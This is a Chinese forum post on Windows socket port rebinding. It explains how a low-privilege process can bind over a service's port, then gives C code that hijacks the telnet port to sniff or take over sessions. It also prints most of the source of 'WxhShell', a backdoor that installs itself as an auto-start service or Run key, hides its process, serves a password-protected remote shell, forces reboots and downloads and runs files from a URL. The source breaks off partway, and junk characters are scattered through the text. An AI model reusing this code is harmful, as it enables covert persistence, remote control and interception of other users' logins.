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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [H1NP'Kg]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,#G@ri:B  
'SmdU1]4BD  
  saddr.sin_family = AF_INET; 5 Jhl4p}w  
/Q!F/HY3ZS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); PewLg<?,G4  
IjNm/${$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W5p}oN  
=EKJ!{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DQ)SMqOotw  
c nzPq\  
  这意味着什么?意味着可以进行如下的攻击: oC [g  
u2t<auE9^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R|suBF3  
jhLh~. 8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D&shrKFx  
m{*l6`dF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VxCH}&!  
9c6=[3)V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n>HNpy  
<da! #12L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =T$E lXwJ  
g@Zc'g/XB  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (GQy"IuFh  
?vVkZsU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,"'agg:St  
6]Jv3Re'(I  
  #include "#7i-?=  
  #include ;Y"J j  
  #include Ol? 2Qy.2)  
  #include    .#n?^73  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?]t8$^m,;  
  int main() V/Q6v YX  
  { /a q%l]hQ@  
  WORD wVersionRequested; vZ08/!n  
  DWORD ret; 4Z_.Jdu w  
  WSADATA wsaData; N(9'U0z  
  BOOL val; *M"wH_cd  
  SOCKADDR_IN saddr; B$bsh.  
  SOCKADDR_IN scaddr; M(|gfsD  
  int err; !rWib` %  
  SOCKET s; 6"DvdJ0MB  
  SOCKET sc; 0^m02\Li  
  int caddsize; `9ieTt  
  HANDLE mt; p})&Zl)V  
  DWORD tid;   3EyN"Lvp{o  
  wVersionRequested = MAKEWORD( 2, 2 ); m[}$&i$(  
  err = WSAStartup( wVersionRequested, &wsaData ); oVu>jO:.  
  if ( err != 0 ) { 4=9F1[  
  printf("error!WSAStartup failed!\n"); DbcKKgPn(9  
  return -1; qSQjAo4t@  
  } .JiQq]  
  saddr.sin_family = AF_INET; #_E8>;)k  
   x!< C0N>?z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9xWrz;tzo  
, ?%`Ky/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TX>;2S3q   
  saddr.sin_port = htons(23); B0Z@ Cf  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #U1soZ7  
  { MwuH.# Ez  
  printf("error!socket failed!\n"); HV sIbQS  
  return -1; j.z#fU  
  } -X=f+4j  
  val = TRUE; DxYu   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g9gyWz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b,c vQD  
  { L$b9|j7  
  printf("error!setsockopt failed!\n"); !O5UE  
  return -1; .,c8cq?  
  } ;7hf'k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rdK.*oT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PQfx0n,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C{c (K!  
:70oO}0m.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u4S3NLG)  
  { dlW w=^  
  ret=GetLastError(); p?}Rolk7  
  printf("error!bind failed!\n"); j#*K[  
  return -1; +?c&Gazi  
  } H1l' \  
  listen(s,2); os2yiF",   
  while(1) u%|VmM>  
  { X)yTx8v4  
  caddsize = sizeof(scaddr); lu>>~vy6  
  //接受连接请求 nhIITfJJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aA:Ky&5e  
  if(sc!=INVALID_SOCKET) lyib+Sa ?`  
  { ss[8d%V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); KAe) X_R7  
  if(mt==NULL) l"cYW9  
  { }n<dyX:a  
  printf("Thread Creat Failed!\n"); "evLI?  
  break; d`:0kOF+  
  } 04( h!@!g:  
  } # mzJ^V-  
  CloseHandle(mt); `Q{kiy  
  } #>233<  
  closesocket(s); 9`b*Y*d  
  WSACleanup(); , vky  
  return 0; f6m^pbQFl  
  }   cJqPcCq(wn  
  DWORD WINAPI ClientThread(LPVOID lpParam) -Wmpj  
  { 4 Hu+ljdjB  
  SOCKET ss = (SOCKET)lpParam; jReI+ pS  
  SOCKET sc; eQ*gnV}rE%  
  unsigned char buf[4096]; %TLAn[LW(  
  SOCKADDR_IN saddr; >LW9$[H  
  long num; ~[[a7$_4  
  DWORD val; .$q]<MK8  
  DWORD ret; >_5D`^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F~{ 4)`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   { }>"f]3  
  saddr.sin_family = AF_INET; sx/g5 ?zh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 72PDqK#  
  saddr.sin_port = htons(23); SkK=VeD>8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e\P+R>i0  
  {  UWu|w  
  printf("error!socket failed!\n"); #a/lt^}C*  
  return -1; ~:JKXa?  
  } 08'JT{iid  
  val = 100; sT/pA^rnnR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >8RIMW2  
  { x.d9mjLN8m  
  ret = GetLastError(); Jb0]!*tV  
  return -1; 02SUyv(Mt  
  } ]qXfg c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @]cpPW-b  
  { wngxVhu8Ld  
  ret = GetLastError(); !1!uB }  
  return -1; VB[R!S=  
  } *{C)o0D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q,s,EooIx  
  { <H$CCo  
  printf("error!socket connect failed!\n"); ']qC,;2  
  closesocket(sc); 2)U3/TNe  
  closesocket(ss); jL 2f74?1  
  return -1; A?_2@6Y^  
  } ~>C!l k  
  while(1) EmLPq!C  
  { )>=`[$D1t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~ 9'64  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 UH[ YH;3O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <q_H 3|  
  num = recv(ss,buf,4096,0); (=p}b:Z  
  if(num>0) * yt/ Dj  
  send(sc,buf,num,0); I{M2nQi  
  else if(num==0) {8t;nsdm!  
  break; 6k ^vF~  
  num = recv(sc,buf,4096,0); u]zb<)'_  
  if(num>0) 9%)'QDVGLf  
  send(ss,buf,num,0); ;T/' CD  
  else if(num==0) ~kYF/B2*  
  break; RRV&!<l@$  
  } ;E*ozKpm  
  closesocket(ss); J,E&Uz95%  
  closesocket(sc); FCI38?`%  
  return 0 ; u<+;]8[o  
  } PY`V]|J  
_Jx?m  
.}Xkr+ +]  
========================================================== Z-:$)0f  
 u0i @.  
下边附上一个代码,,WXhSHELL s  n?  
4I,HvP  
========================================================== fF>H7  
qT}&XK`Q^  
#include "stdafx.h" 2*Gl|@~N  
(spX3n%p  
#include <stdio.h> XLM 9+L  
#include <string.h> S:DB%V3  
#include <windows.h> 0`OqD d  
#include <winsock2.h> 4}8Xoywi1  
#include <winsvc.h> @UvjJ  
#include <urlmon.h> $bD!./fl  
[J:vSt  
#pragma comment (lib, "Ws2_32.lib") rPQ$e!m1Ee  
#pragma comment (lib, "urlmon.lib") Th"7p:SE?  
r"rEVx#1=  
#define MAX_USER   100 // 最大客户端连接数 ]ImS@!Ajjx  
#define BUF_SOCK   200 // sock buffer F*Qw%  
#define KEY_BUFF   255 // 输入 buffer 5ptbz<Xv  
{5*+  
#define REBOOT     0   // 重启 `5x,N%9{  
#define SHUTDOWN   1   // 关机 -'ZP_$sA  
|QHWX^pO  
#define DEF_PORT   5000 // 监听端口 Q,jlKgB 5:  
w$2-t  
#define REG_LEN     16   // 注册表键长度 \2~.r/`1  
#define SVC_LEN     80   // NT服务名长度 's*UU:R  
4u:{PN  
// 从dll定义API SqEO ] ~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c-gaK\u}j}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^B5Hjf9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QAX+oy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1)k))w9  
G|H\(3hHLZ  
// wxhshell配置信息 b>fDb J0  
struct WSCFG { K)^.96{/@  
  int ws_port;         // 监听端口 H#6J7\xcS  
  char ws_passstr[REG_LEN]; // 口令 !n !~Bw  
  int ws_autoins;       // 安装标记, 1=yes 0=no />]/At  
  char ws_regname[REG_LEN]; // 注册表键名 }~\J7R'  
  char ws_svcname[REG_LEN]; // 服务名 S$V'_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a3p|>M6E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `.><$F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k ^+h>B-;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .]8 Jeb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5*ABw6'6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P^&+ehp  
)Q9J,  
}; vn|X,1o  
pvcf_w`n  
// default Wxhshell configuration 1OJ:Vy}n  
struct WSCFG wscfg={DEF_PORT, {_Wtk@  
    "xuhuanlingzhe", ab 2 V.S  
    1, mQ1QJ_;  
    "Wxhshell", d{DlW |_  
    "Wxhshell", [rGR1>U?i  
            "WxhShell Service", S,J'Z:spf  
    "Wrsky Windows CmdShell Service", 3`-[95w  
    "Please Input Your Password: ", W;j*lII  
  1, qE(`@G  
  "http://www.wrsky.com/wxhshell.exe", @ /c{gD  
  "Wxhshell.exe" `SOaQ|H  
    }; p61"a,Xc  
5%+T~ E*  
// 消息定义模块 YMz[je  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _"z#I CT(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :Rq@%rL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f61~%@fE  
char *msg_ws_ext="\n\rExit."; b/E1v,/<  
char *msg_ws_end="\n\rQuit."; nEs l  
char *msg_ws_boot="\n\rReboot..."; Vd|/]Zj  
char *msg_ws_poff="\n\rShutdown..."; -BNW\ ]}  
char *msg_ws_down="\n\rSave to "; ox)/*c<  
sd>#Hn  
char *msg_ws_err="\n\rErr!"; {*tewF)|  
char *msg_ws_ok="\n\rOK!"; J2yq|n?2gq  
Cvi-4   
char ExeFile[MAX_PATH]; @-Gf+*GZys  
int nUser = 0; a#KxjVM  
HANDLE handles[MAX_USER]; nj)M$'  
int OsIsNt; k98--kc5  
+]UPY5:F  
SERVICE_STATUS       serviceStatus; A.y"R)G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7!Fu.Ps >  
R-Uj\M>  
// 函数声明 j^:\a\-1  
int Install(void); J]$%1Y  
int Uninstall(void); *FOTq'%i  
int DownloadFile(char *sURL, SOCKET wsh); 9KCnitU  
int Boot(int flag); D*_ F@}=  
void HideProc(void); 0(0Ep(Vj  
int GetOsVer(void); e@@kTny(  
int Wxhshell(SOCKET wsl); sE]eIN  
void TalkWithClient(void *cs); Bg;bBA!L  
int CmdShell(SOCKET sock); vR#A7y @ !  
int StartFromService(void); LvE|K&R|  
int StartWxhshell(LPSTR lpCmdLine); g5/8u2d  
cLJ|VD7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); } %rF}>$A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H| IsjCc  
i_f"?X;D  
// 数据结构和表定义 -%"MAIJnX  
SERVICE_TABLE_ENTRY DispatchTable[] = Xdw%Hw  
{ b(K.p?bt  
{wscfg.ws_svcname, NTServiceMain}, -O. MfI+  
{NULL, NULL} V?%>Ex$  
}; IjD: hR@  
pcm|  
// 自我安装 E$*I.i_m  
int Install(void) \-`L}$  
{ vg *+>lbA  
  char svExeFile[MAX_PATH]; ;/ >~|@  
  HKEY key; pO=bcs8Z  
  strcpy(svExeFile,ExeFile); u.$.RkNMQ  
?9 2+(s  
// 如果是win9x系统,修改注册表设为自启动 Je+L8TB  
if(!OsIsNt) { H~@aT7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F1gDeLmJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kax9RH vku  
  RegCloseKey(key); <&b ~(f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +oe ~j\=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S &cH1QZ  
  RegCloseKey(key); \ >1M?  
  return 0; kMN z5P  
    } ]qhVxeUm  
  } D)4p8-=t  
} ]!0 BMZmf  
else { v;jrAND  
u&r @@p.  
// 如果是NT以上系统,安装为系统服务 <N+l"Re#]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OjyS ?YY)b  
if (schSCManager!=0) irgjq/&d  
{ |0A n| 18  
  SC_HANDLE schService = CreateService >p2v"XX  
  ( )bPwB.}kq  
  schSCManager, P@ 1D  
  wscfg.ws_svcname,  ,Ad\!  
  wscfg.ws_svcdisp, $aG]V-M>  
  SERVICE_ALL_ACCESS, |`_TVzA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $(#o)r>_R  
  SERVICE_AUTO_START, T|ZT&x$z  
  SERVICE_ERROR_NORMAL, .oAg (@^6  
  svExeFile, &=@ R,  
  NULL, (#\3XBG  
  NULL, 5j,)}AYO  
  NULL, .J&~u0g  
  NULL, ",Ek| z  
  NULL  //K]zu  
  ); !Z<Z"R/  
  if (schService!=0) w[:5uo(  
  { ra$_#HY  
  CloseServiceHandle(schService); u\s mQhQGE  
  CloseServiceHandle(schSCManager); [sACPn$f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {l\v J#r:  
  strcat(svExeFile,wscfg.ws_svcname); \`|,wLgH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ax7u b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ft:/-$&H  
  RegCloseKey(key); |) T HuE(  
  return 0; G'}%m;-mt  
    } |;9OvR> A  
  } 2!{CNt.-  
  CloseServiceHandle(schSCManager); [@Uc4LX  
} LvhF@%(9J  
} 2*%0m^#^6  
@fbvu_-].  
return 1; r{p?aG  
} B YNOgB1  
)1lYfJ  
// 自我卸载 q\d'}:kfu  
int Uninstall(void) &'T7 ~M:  
{ ++Az~{W7  
  HKEY key; gaTI:SKzc  
h#;fBQ]   
if(!OsIsNt) { \AkeC6[D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #^xiv/ sV  
  RegDeleteValue(key,wscfg.ws_regname); V u;tU.  
  RegCloseKey(key); &..'7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /ExnW >wT  
  RegDeleteValue(key,wscfg.ws_regname); W53i5u(  
  RegCloseKey(key); z$%ntN#eNA  
  return 0; F RS@-P  
  } YC*S;q  
} q^O{LGN  
} %+>I1G  
else { k3^S^Bv\  
AP/tBC eM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wjKW 3  
if (schSCManager!=0) )5'S=av9  
{ l$)pCo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k NK)mE  
  if (schService!=0) -`f JhQ|  
  { l.>QO ;  
  if(DeleteService(schService)!=0) { \HTXl]  
  CloseServiceHandle(schService); @i6D&e=  
  CloseServiceHandle(schSCManager); .CwMxuW  
  return 0; 5 F H#)  
  } Q9FY.KUM  
  CloseServiceHandle(schService); {Qlvj.Xw  
  } \>:(++g  
  CloseServiceHandle(schSCManager); k@KX=mG<  
} ]5uCs[  
} LT:KZ|U9  
  7&l  
return 1; 0Oe@0L%^3"  
} Z</$~ T  
]UFf-  
// 从指定url下载文件 7NoB   
int DownloadFile(char *sURL, SOCKET wsh) 0dXZd2oK@  
{ xqM R[W\x  
  HRESULT hr; 'rq [P",  
char seps[]= "/"; g0_8:Gs}^  
char *token; jNrGsIY$  
char *file; j/dNRleab  
char myURL[MAX_PATH]; AGPZd9  
char myFILE[MAX_PATH]; !3?HpR/nV  
YuLW]Q?v  
strcpy(myURL,sURL); Eh8.S)E  
  token=strtok(myURL,seps); j YO #  
  while(token!=NULL) 6 )xm?RK  
  { spd>.Cm`  
    file=token; ?ry`+nx  
  token=strtok(NULL,seps); #L BZ%%v  
  } s.Yywy  
.i@e6JE~;  
GetCurrentDirectory(MAX_PATH,myFILE); ECU:3KH>MF  
strcat(myFILE, "\\"); ? 0nbvV5v7  
strcat(myFILE, file); (Cqhk:F  
  send(wsh,myFILE,strlen(myFILE),0); )[G5qTO  
send(wsh,"...",3,0); $I>.w4G}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LGRX@nF#  
  if(hr==S_OK) RUSBJsMB  
return 0; ^EM##Ss_  
else :);GeZ  
return 1; c KF 8(  
4}fG{Bk  
} o D:?fs]  
\BUr2]  
// 系统电源模块 L[Tr"BW  
int Boot(int flag) ?w /tq!  
{ SP5/K3t-*  
  HANDLE hToken; H-^>Co_  
  TOKEN_PRIVILEGES tkp; <Cn-MOoM  
NfDg=[FN[  
  if(OsIsNt) { p>65(&N,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >k kuw?O@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0 .t;i4  
    tkp.PrivilegeCount = 1; a:v&pj+|<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %k5^n0|*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <|s|6C  
if(flag==REBOOT) { *,@dt+H!y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ] 6M- s  
  return 0; kCLz@9>FQ  
} XQHvs{P o  
else { A;q}SO%b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |brl<*:  
  return 0; tE=P9 \4  
} 6\/C]![%  
  } ?uOdqMJV  
  else { f!0*^d  
if(flag==REBOOT) { $(.[b][S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZU7,=B=  
  return 0; /&cb`^"U^  
} r Fdq \BSi  
else { wUW+S5"K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \ec,=7S<Zf  
  return 0; 7L? ~;;L$  
} {b= ]JPE  
} 2c_#q1/Z/  
vX/~34o]\  
return 1; ?psvhB{O  
} UR:cBr  
1[:?oEI  
// win9x进程隐藏模块 Jc(tV(z  
void HideProc(void) / ~w\Npf0  
{ a 0Hzf  
pRc@0^G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _{C:aIl[2  
  if ( hKernel != NULL ) *:aJlvk  
  { aQ46euth  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y(-4Agq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FF)F%o+:w  
    FreeLibrary(hKernel); aj|I[65  
  } W6 f*>  
?b:l.0m  
return; egK,e?~  
} aOA;"jR1  
d^!)',`  
// 获取操作系统版本 qOqQt=ObU  
int GetOsVer(void) w=e~ M  
{ T&fqn!i  
  OSVERSIONINFO winfo; iRBUX`0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^CDQ75tR  
  GetVersionEx(&winfo); !#5RP5,,Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~OAST  
  return 1; tTX2>8Gmr  
  else :,]V 03  
  return 0; g3Xq@RAJc  
} BD\xUjd?)Q  
TmvI+AY/  
// 客户端句柄模块 sas;<yh  
int Wxhshell(SOCKET wsl) - b:&ACY  
{ /{."*jK  
  SOCKET wsh; <A;R%\V  
  struct sockaddr_in client; w|O MT>.  
  DWORD myID; v\'E o* 4  
Pp*|EW 1  
  while(nUser<MAX_USER) WIa4!\Ky!  
{ \|L ~#{a  
  int nSize=sizeof(client); Fi14_{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [x kbzJ  
  if(wsh==INVALID_SOCKET) return 1; #9F=+[L  
j[.R|I|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >MauuL,.j  
if(handles[nUser]==0) 4'cdV0]  
  closesocket(wsh); t"cGv32b  
else Pe EC|&x  
  nUser++; WSz#g2a  
  } xrFFmQ<_W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )}0(7z Yu  
cz~Fz;)2{N  
  return 0; J'G 6Z7  
} Mm;kB/ 1  
Jlj=FA`  
// 关闭 socket %oJ_,m_(  
void CloseIt(SOCKET wsh) se:]F/  
{ /bjyV]N  
closesocket(wsh); _?x*F?5=  
nUser--; b%IRIi&,  
ExitThread(0); m-xSF]q=<  
} PO%Z.ol9  
,edX;`#  
// 客户端请求句柄 )hGRq'WA=  
void TalkWithClient(void *cs) wf)T-]e  
{ )$p<BLU  
MDZ,a 0?4t  
  SOCKET wsh=(SOCKET)cs; D1}Bn2BM$  
  char pwd[SVC_LEN]; Rq-BsMX!A  
  char cmd[KEY_BUFF]; hX# y7m  
char chr[1]; 66NJ&ac  
int i,j; U p=J&^.  
O8%+5l`T!  
  while (nUser < MAX_USER) { ] lE6:^V  
3xj ?}o  
if(wscfg.ws_passstr) { h:\WW;s[B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dO =fbmK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u[5*RTE  
  //ZeroMemory(pwd,KEY_BUFF); TcPYDAa  
      i=0; 5V;BimI  
  while(i<SVC_LEN) { b_+dNoB  
2R66 WK Q  
  // 设置超时 3J%(2}{y  
  fd_set FdRead; 4E/Q+^?  
  struct timeval TimeOut; xE`uFHuS}  
  FD_ZERO(&FdRead); u(iEuF;7  
  FD_SET(wsh,&FdRead); +F= j1*'&  
  TimeOut.tv_sec=8; `CP# S7W^  
  TimeOut.tv_usec=0; 9%55R >s$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FR"yGx#$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FH:^<^M  
UIPi<_Xa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); owM3Gz%?UA  
  pwd=chr[0]; R>f$*T  
  if(chr[0]==0xd || chr[0]==0xa) { -LI^(_  
  pwd=0; 4iMo&E<  
  break; \Ld/'Z;w  
  } CT(VV6I\  
  i++; SEu1M}+E  
    } b9b384Q1O  
gmtp/?>e  
  // 如果是非法用户,关闭 socket <Yif-9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E_ #MQ;n  
} yE1M+x./  
AJ1(q:P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0~ !).f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zg L0v5vk  
{=};<;_F  
while(1) { Qk2^p^ T6  
+ExXhT  
  ZeroMemory(cmd,KEY_BUFF); }QrBN:a$(  
~IrrX,mp:  
      // 自动支持客户端 telnet标准   L@xag-b i  
  j=0; sx7;G^93  
  while(j<KEY_BUFF) { [*^` rQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "O@L IR7  
  cmd[j]=chr[0]; o,}`4_N||  
  if(chr[0]==0xa || chr[0]==0xd) { ,v(K |P@  
  cmd[j]=0; Awy-kou[C  
  break; fP<Tvf  
  } iG*@(  
  j++; i8t%v  
    } mNhVLB  
.H;[s  
  // 下载文件 Vm\ly;v'R  
  if(strstr(cmd,"http://")) { QCjC|T9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qbcaiU`-^"  
  if(DownloadFile(cmd,wsh)) r: Ij\YQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2GB)K?1M  
  else /B eA-\B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?5@!r>i=<  
  } euO!vLdX  
  else { B q/<kEgM  
=LLix . >  
    switch(cmd[0]) { E$!0h_.(  
  6_xPk`m  
  // 帮助 JAEn 72  
  case '?': { Y.FqWJP=p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n~`1KC4  
    break; zb<YYJ]  
  } B'sgCU  
  // 安装 R)}ab{A  
  case 'i': { pgNyLgN  
    if(Install()) N_<wiwI<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bp"@vlv  
    else D3,9X#B=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fH{ _X  
    break; 5ZpU><y  
    } abAX)R'  
  // 卸载 H$G`e'`OZ  
  case 'r': { N`o[iHUj \  
    if(Uninstall()) V+04X"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^xz*%2@  
    else O>FE-0rW}e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S: b-+w|*  
    break; ]dvNUD   
    } m[l[yUw#  
  // 显示 wxhshell 所在路径 <<#j?%  
  case 'p': { ~%.<rc0  
    char svExeFile[MAX_PATH]; oXW51ty  
    strcpy(svExeFile,"\n\r"); bm`x;M^M  
      strcat(svExeFile,ExeFile); X1LwIa>  
        send(wsh,svExeFile,strlen(svExeFile),0); b9 Gq';o  
    break;  }\ ^J:@  
    } OH+kN /Fd  
  // 重启 Lt 8J^}kwl  
  case 'b': { YC,)t71l{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wycood*  
    if(Boot(REBOOT)) Z@i"/~B|4\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pGO=3=O  
    else { qukym3F  
    closesocket(wsh); b"JJ3$D  
    ExitThread(0); M9*#8>  
    } q-tm `t*7  
    break; Ng=_#<  
    } xMOq/" )  
  // 关机 yDl{18~zv  
  case 'd': { <4{Jm8zJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uC2-T5n'  
